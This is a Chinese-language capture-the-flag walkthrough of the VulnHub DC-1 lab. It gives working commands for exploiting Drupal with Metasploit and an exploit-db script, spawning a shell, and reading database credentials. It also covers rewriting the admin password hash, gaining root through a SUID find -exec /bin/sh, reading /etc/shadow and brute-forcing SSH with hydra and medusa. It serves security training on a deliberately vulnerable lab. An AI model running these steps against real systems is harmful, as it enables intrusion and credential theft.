Vulnhub | DC-1
靶场地址
https://www.vulnhub.com/entry/dc-1,292/
信息搜集
探查IP
因为下载的镜像打开是一个登录界面,无法知道它的IP地址,所以这里需要借助一下VMware的特性,查看网络适配器,看看mac地址是多少。
打开KALI,使用命令
arp-scan -l
查看
或者用nmap扫描
得到靶场的IP地址是192.168.6.19
端口扫描
nmap -sS 192.168.6.19
这里开放了80端口,可以浏览器访问一下试试
通过浏览器插件Wappalyer查看,得到以下信息
目录扫描
相当于就扫到两个 /robots.txt 和 /user
攻击测试
已知是开源cms Drupal,可以直接查一下有没有相关漏洞能拿来利用
这里直接用MSF
利用漏洞
search drupal
可以一个一个尝试能不能打
这里我尝试 use 1 可以利用
use 1
set rhosts 192.168.6.19
run
获取flag1
看英文的意思是还要需要一个配置文件
Drupal的配置文件是网站根目录下的sites/defaultx下的setting.php文件。
获得flag2
flag2提示不要使用暴力破解
同时获取到了数据库相关信息,使用的是mysql
远程连接失败了
直接连接也失败了,进入shell模式
但是这种方式不是交互式的,不能进入数据里
输入python -v,发现系统自带Python 2.7.3,通过pty.spawn()获得交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
mysql -udbuser -pR0ck3t
接着就开始查表了
找到drupaldb 表下面有一个users
select * from users;
获得flag3
不知道它的加密方式,也没办法直接修改数据库中的密码
这里有两种方法可以使用:
获取方法一
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便了破解admin的密码,更直接。
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.6.19 -u admin2 -p admin2
然后使用admin2/admin2登录,获取到flag3
获取方法二
(我没试这个方法,但是可以学习一下思路)
使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下
使用加密脚本加密新密码:2019-123456,生成加密密文
回到数据库中,将密码进行替换
update users set pass=’$S$DqmSfBfFUmIoobomWlB45XSI7MG..o9y9zzUQEc2xGzYXgxfnM19‘ where uid = 1;
更新 表名 设置 列名=’更改的值‘ where 列名=1;
然后使用修改后的账号密码登录。
flag3提示,PERMS可以帮助我们找到密码,在shadow文件里
直接查看被拒绝了,这里考到了提权
获得flag4
使用find命令查找有特殊权限suid的命令
find ./ aaa -exec '/bin/sh' \;
whoami
cat /etc/shadow
flag4是一个账户,我们要做的就是爆破出他的密码
方法有很多
方法一
medusa -M ssh -h 192.168.6.19 -u flag4 -P /usr/share/john/password.lst -e ns -F
方法二
使用hydra+John密码包对flag4的密码进行爆破
wget http://www.openwall.com/john/j/john-1.8.0.tar.gz #下载John密码包
tar -xvf john-1.8.0.tar.gz #解压缩
cd john-1.8.0/ src #进入源码目录下
uname -a #查看当前系统版本
make linux-x86-64 #编译并指定当前的Linux系统版本
cd ../run #切换到密码目录下
hydra -l flag4 -P password.lst ssh://192.168.6.19 -f -vV -o hydraflag4.ssh
直接SSH连接